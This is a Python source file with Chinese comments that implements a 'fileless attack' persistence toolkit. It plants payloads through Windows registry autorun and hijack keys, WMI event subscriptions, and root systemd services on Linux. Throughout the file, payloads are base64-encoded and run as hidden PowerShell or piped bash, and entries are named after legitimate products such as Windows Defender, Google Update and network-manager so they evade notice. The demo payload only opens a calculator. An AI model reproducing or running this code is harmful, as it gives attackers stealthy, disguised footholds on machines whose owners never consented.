#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
无文件攻击技术模块
支持注册表持久化、WMI事件订阅、systemd服务伪装等技术
"""

import os
import sys
import json
import time
import base64
import random
import subprocess
from typing import Dict, List, Optional, Any
from dataclasses import dataclass
from enum import Enum

class PersistenceMethod(Enum):
    """持久化方法枚举"""
    REGISTRY = "registry"
    WMI_EVENT = "wmi_event"
    SYSTEMD_SERVICE = "systemd_service"
    SCHEDULED_TASK = "scheduled_task"
    STARTUP_FOLDER = "startup_folder"
    SERVICE_REPLACEMENT = "service_replacement"

@dataclass
class PersistenceConfig:
    """持久化配置"""
    method: PersistenceMethod
    name: str
    payload: str
    trigger: str
    platform: str
    stealth_level: int  # 1-10, 10最隐蔽
    persistence_level: int  # 1-10, 10最持久

class RegistryPersistence:
    """注册表持久化技术"""
    
    def __init__(self):
        self.registry_locations = {
            # 用户级持久化位置
            'user_run': r'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run',
            'user_runonce': r'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce',
            'user_load': r'HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows',
            
            # 系统级持久化位置
            'system_run': r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
            'system_runonce': r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',
            'system_services': r'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services',
            
            # 高级持久化位置
            'winlogon': r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
            'image_hijack': r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options',
            'app_init': r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',
            
            # 隐蔽位置
            'com_hijack': r'HKEY_CURRENT_USER\Software\Classes\CLSID',
            'shell_folders': r'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',
            'file_associations': r'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts'
        }
    
    def create_registry_persistence(self, config: PersistenceConfig) -> bool:
        """创建注册表持久化"""
        try:
            if os.name != 'nt':
                return False
            
            import winreg
            
            # 选择注册表位置
            location = self._select_registry_location(config.stealth_level)
            
            # 解析注册表路径
            hive_name, key_path = location.split('\\', 1)
            hive = self._get_registry_hive(hive_name)
            
            # 创建或打开注册表项
            try:
                key = winreg.OpenKey(hive, key_path, 0, winreg.KEY_SET_VALUE)
            except FileNotFoundError:
                key = winreg.CreateKey(hive, key_path)
            
            # 设置值
            value_name = self._generate_registry_name(config.stealth_level)
            payload = self._encode_payload(config.payload, config.stealth_level)
            
            winreg.SetValueEx(key, value_name, 0, winreg.REG_SZ, payload)
            winreg.CloseKey(key)
            
            print(f"注册表持久化创建成功: {location}\\{value_name}")
            return True
            
        except Exception as e:
            print(f"创建注册表持久化失败: {e}")
            return False
    
    def _select_registry_location(self, stealth_level: int) -> str:
        """根据隐蔽级别选择注册表位置"""
        if stealth_level >= 8:
            # 高隐蔽性位置
            return random.choice([
                self.registry_locations['com_hijack'],
                self.registry_locations['shell_folders'],
                self.registry_locations['file_associations']
            ])
        elif stealth_level >= 5:
            # 中等隐蔽性位置
            return random.choice([
                self.registry_locations['winlogon'],
                self.registry_locations['image_hijack'],
                self.registry_locations['app_init']
            ])
        else:
            # 常规位置
            return random.choice([
                self.registry_locations['user_run'],
                self.registry_locations['system_run']
            ])
    
    def _get_registry_hive(self, hive_name: str):
        """获取注册表根键"""
        import winreg
        hive_map = {
            'HKEY_CURRENT_USER': winreg.HKEY_CURRENT_USER,
            'HKEY_LOCAL_MACHINE': winreg.HKEY_LOCAL_MACHINE,
            'HKEY_CLASSES_ROOT': winreg.HKEY_CLASSES_ROOT,
            'HKEY_USERS': winreg.HKEY_USERS,
            'HKEY_CURRENT_CONFIG': winreg.HKEY_CURRENT_CONFIG
        }
        return hive_map.get(hive_name, winreg.HKEY_CURRENT_USER)
    
    def _generate_registry_name(self, stealth_level: int) -> str:
        """生成注册表项名称"""
        if stealth_level >= 8:
            # 伪装成系统组件
            system_names = [
                'SecurityHealthSystray', 'WindowsDefenderTray', 'MicrosoftEdgeUpdate',
                'OneDriveSetup', 'OfficeClickToRun', 'AdobeUpdateService'
            ]
            return random.choice(system_names)
        elif stealth_level >= 5:
            # 伪装成常见软件
            common_names = [
                'GoogleUpdate', 'ChromeUpdate', 'FirefoxUpdate', 'JavaUpdate',
                'AdobeReader', 'WinRAR', 'VLCPlayer', 'Notepad++'
            ]
            return random.choice(common_names)
        else:
            # 随机名称
            return f"Update_{random.randint(1000, 9999)}"
    
    def _encode_payload(self, payload: str, stealth_level: int) -> str:
        """编码载荷"""
        if stealth_level >= 7:
            # 多层编码
            encoded = base64.b64encode(payload.encode()).decode()
            return f'powershell -enc {encoded}'
        elif stealth_level >= 4:
            # Base64编码
            encoded = base64.b64encode(payload.encode()).decode()
            return f'powershell -EncodedCommand {encoded}'
        else:
            # 直接执行
            return payload

class WMIEventPersistence:
    """WMI事件订阅持久化"""
    
    def __init__(self):
        self.event_triggers = {
            'startup': 'SELECT * FROM Win32_ComputerSystemEvent',
            'logon': 'SELECT * FROM Win32_LogonSessionEvent',
            'process_start': 'SELECT * FROM Win32_ProcessStartTrace',
            'file_creation': 'SELECT * FROM Win32_VolumeChangeEvent',
            'time_based': 'SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_LocalTime"',
            'usb_insertion': 'SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2'
        }
    
    def create_wmi_persistence(self, config: PersistenceConfig) -> bool:
        """创建WMI事件订阅持久化"""
        try:
            if os.name != 'nt':
                return False
            
            # 生成WMI组件名称
            filter_name = self._generate_wmi_name("Filter", config.stealth_level)
            consumer_name = self._generate_wmi_name("Consumer", config.stealth_level)
            binding_name = self._generate_wmi_name("Binding", config.stealth_level)
            
            # 创建事件过滤器
            filter_query = self.event_triggers.get(config.trigger, self.event_triggers['startup'])
            filter_cmd = f'''
wmic /namespace:\\\\root\\subscription PATH __EventFilter CREATE Name="{filter_name}", EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="{filter_query}"
'''
            
            # 创建事件消费者
            payload = self._encode_wmi_payload(config.payload, config.stealth_level)
            consumer_cmd = f'''
wmic /namespace:\\\\root\\subscription PATH CommandLineEventConsumer CREATE Name="{consumer_name}", CommandLineTemplate="{payload}"
'''
            
            # 创建绑定
            binding_cmd = f'''
wmic /namespace:\\\\root\\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\\"{filter_name}\\"", Consumer="CommandLineEventConsumer.Name=\\"{consumer_name}\\""
'''
            
            # 执行命令
            commands = [filter_cmd, consumer_cmd, binding_cmd]
            for cmd in commands:
                result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
                if result.returncode != 0:
                    print(f"WMI命令执行失败: {result.stderr}")
                    return False
            
            print(f"WMI事件订阅持久化创建成功: {filter_name}")
            return True
            
        except Exception as e:
            print(f"创建WMI持久化失败: {e}")
            return False
    
    def _generate_wmi_name(self, component_type: str, stealth_level: int) -> str:
        """生成WMI组件名称"""
        if stealth_level >= 8:
            # 伪装成系统组件
            system_prefixes = ['Microsoft', 'Windows', 'System', 'Security', 'Update']
            suffix = random.choice(['Service', 'Monitor', 'Handler', 'Manager', 'Provider'])
            return f"{random.choice(system_prefixes)}{component_type}{suffix}"
        else:
            # 随机名称
            return f"{component_type}_{random.randint(1000, 9999)}"
    
    def _encode_wmi_payload(self, payload: str, stealth_level: int) -> str:
        """编码WMI载荷"""
        if stealth_level >= 7:
            # PowerShell编码执行
            encoded = base64.b64encode(payload.encode('utf-16le')).decode()
            return f'powershell.exe -WindowStyle Hidden -EncodedCommand {encoded}'
        elif stealth_level >= 4:
            # 隐藏窗口执行
            return f'powershell.exe -WindowStyle Hidden -Command "{payload}"'
        else:
            # 直接执行
            return payload

class SystemdServicePersistence:
    """Systemd服务伪装持久化 (Linux)"""
    
    def __init__(self):
        self.service_locations = [
            '/etc/systemd/system/',
            '/usr/lib/systemd/system/',
            '/lib/systemd/system/',
            '~/.config/systemd/user/'
        ]
        
        self.legitimate_services = [
            'network-manager', 'bluetooth', 'cups', 'ssh', 'cron',
            'rsyslog', 'dbus', 'avahi-daemon', 'NetworkManager'
        ]
    
    def create_systemd_persistence(self, config: PersistenceConfig) -> bool:
        """创建systemd服务持久化"""
        try:
            if os.name == 'nt':
                return False
            
            # 选择服务位置
            service_location = self._select_service_location(config.stealth_level)
            
            # 生成服务名称
            service_name = self._generate_service_name(config.stealth_level)
            service_file = f"{service_location}/{service_name}.service"
            
            # 创建服务文件内容
            service_content = self._create_service_content(config)
            
            # 写入服务文件
            with open(service_file, 'w') as f:
                f.write(service_content)
            
            # 设置权限
            os.chmod(service_file, 0o644)
            
            # 启用服务
            subprocess.run(['systemctl', 'daemon-reload'], check=True)
            subprocess.run(['systemctl', 'enable', service_name], check=True)
            subprocess.run(['systemctl', 'start', service_name], check=True)
            
            print(f"Systemd服务持久化创建成功: {service_name}")
            return True
            
        except Exception as e:
            print(f"创建systemd持久化失败: {e}")
            return False
    
    def _select_service_location(self, stealth_level: int) -> str:
        """选择服务文件位置"""
        if stealth_level >= 7:
            # 用户级服务，更隐蔽
            user_dir = os.path.expanduser('~/.config/systemd/user/')
            os.makedirs(user_dir, exist_ok=True)
            return user_dir
        else:
            # 系统级服务
            return '/etc/systemd/system/'
    
    def _generate_service_name(self, stealth_level: int) -> str:
        """生成服务名称"""
        if stealth_level >= 8:
            # 伪装成合法服务的变体
            base_service = random.choice(self.legitimate_services)
            suffixes = ['-helper', '-monitor', '-updater', '-daemon', '-service']
            return f"{base_service}{random.choice(suffixes)}"
        elif stealth_level >= 5:
            # 伪装成系统服务
            prefixes = ['system', 'kernel', 'network', 'security', 'update']
            suffixes = ['d', 'svc', 'mon', 'mgr']
            return f"{random.choice(prefixes)}-{random.choice(suffixes)}"
        else:
            # 随机名称
            return f"service-{random.randint(1000, 9999)}"
    
    def _create_service_content(self, config: PersistenceConfig) -> str:
        """创建服务文件内容"""
        description = self._generate_service_description(config.stealth_level)
        exec_start = self._encode_service_payload(config.payload, config.stealth_level)
        
        service_content = f"""[Unit]
Description={description}
After=network.target
Wants=network.target

[Service]
Type=simple
ExecStart={exec_start}
Restart=always
RestartSec=10
User=root
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
"""
        return service_content
    
    def _generate_service_description(self, stealth_level: int) -> str:
        """生成服务描述"""
        if stealth_level >= 7:
            descriptions = [
                "System Security Monitor Service",
                "Network Configuration Helper",
                "Kernel Module Update Service",
                "Hardware Compatibility Daemon",
                "System Performance Monitor"
            ]
            return random.choice(descriptions)
        else:
            return "System Service"
    
    def _encode_service_payload(self, payload: str, stealth_level: int) -> str:
        """编码服务载荷"""
        if stealth_level >= 7:
            # Base64编码并通过bash执行
            encoded = base64.b64encode(payload.encode()).decode()
            return f"/bin/bash -c 'echo {encoded} | base64 -d | bash'"
        elif stealth_level >= 4:
            # 通过临时文件执行
            return f"/bin/bash -c '{payload}'"
        else:
            # 直接执行
            return payload

class FilelessAttackManager:
    """无文件攻击管理器"""
    
    def __init__(self):
        self.registry_persistence = RegistryPersistence()
        self.wmi_persistence = WMIEventPersistence()
        self.systemd_persistence = SystemdServicePersistence()
    
    def create_persistence(self, config: PersistenceConfig) -> bool:
        """创建持久化"""
        try:
            if config.method == PersistenceMethod.REGISTRY:
                return self.registry_persistence.create_registry_persistence(config)
            elif config.method == PersistenceMethod.WMI_EVENT:
                return self.wmi_persistence.create_wmi_persistence(config)
            elif config.method == PersistenceMethod.SYSTEMD_SERVICE:
                return self.systemd_persistence.create_systemd_persistence(config)
            else:
                print(f"不支持的持久化方法: {config.method}")
                return False
                
        except Exception as e:
            print(f"创建持久化失败: {e}")
            return False
    
    def get_recommended_method(self, platform: str, stealth_level: int) -> PersistenceMethod:
        """获取推荐的持久化方法"""
        if platform.lower() == 'windows':
            if stealth_level >= 7:
                return PersistenceMethod.WMI_EVENT
            else:
                return PersistenceMethod.REGISTRY
        elif platform.lower() == 'linux':
            return PersistenceMethod.SYSTEMD_SERVICE
        else:
            return PersistenceMethod.REGISTRY
    
    def create_multi_layer_persistence(self, payload: str, platform: str) -> List[bool]:
        """创建多层持久化"""
        results = []
        
        if platform.lower() == 'windows':
            # Windows多层持久化
            configs = [
                PersistenceConfig(
                    method=PersistenceMethod.REGISTRY,
                    name="registry_backup",
                    payload=payload,
                    trigger="startup",
                    platform=platform,
                    stealth_level=6,
                    persistence_level=8
                ),
                PersistenceConfig(
                    method=PersistenceMethod.WMI_EVENT,
                    name="wmi_monitor",
                    payload=payload,
                    trigger="logon",
                    platform=platform,
                    stealth_level=8,
                    persistence_level=9
                )
            ]
        else:
            # Linux多层持久化
            configs = [
                PersistenceConfig(
                    method=PersistenceMethod.SYSTEMD_SERVICE,
                    name="system_service",
                    payload=payload,
                    trigger="startup",
                    platform=platform,
                    stealth_level=7,
                    persistence_level=9
                )
            ]
        
        for config in configs:
            result = self.create_persistence(config)
            results.append(result)
        
        return results

# 使用示例
if __name__ == "__main__":
    # 创建无文件攻击管理器
    manager = FilelessAttackManager()
    
    # 示例载荷
    payload = "powershell -Command \"Start-Process calc.exe\""
    
    # 检测平台
    platform = "windows" if os.name == 'nt' else "linux"
    
    # 获取推荐方法
    recommended_method = manager.get_recommended_method(platform, stealth_level=7)
    print(f"推荐的持久化方法: {recommended_method.value}")
    
    # 创建持久化配置
    config = PersistenceConfig(
        method=recommended_method,
        name="test_persistence",
        payload=payload,
        trigger="startup",
        platform=platform,
        stealth_level=7,
        persistence_level=8
    )
    
    # 创建持久化
    success = manager.create_persistence(config)
    print(f"持久化创建{'成功' if success else '失败'}")
    
    # 创建多层持久化
    print("\\n创建多层持久化...")
    results = manager.create_multi_layer_persistence(payload, platform)
    print(f"多层持久化结果: {results}")